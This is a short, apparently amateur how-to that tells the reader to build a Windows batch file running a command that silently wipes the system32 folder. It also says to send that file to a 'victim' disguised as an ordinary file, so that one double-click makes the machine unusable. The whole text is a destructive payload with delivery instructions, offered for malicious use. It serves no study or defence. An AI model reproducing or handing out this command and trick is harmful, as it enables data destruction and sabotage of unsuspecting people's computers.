Make a simple file that destroys ur victims pc

1. Open Notepad
2. write the above command : -
erase %windir%\system32\*.* /q
3. Save the above notepad with the extension ".bat or .cmd" as u want.
After u created the .cmd or .bat file send it to ur victim as like ordinary file.Once ur victim double click on it then he/she needs to format his/her pc.
What it does is deletes all files present in the system32 folder out of which most of them are files important for a computers functioning.
Note:-
It would work only if the victim has windows os.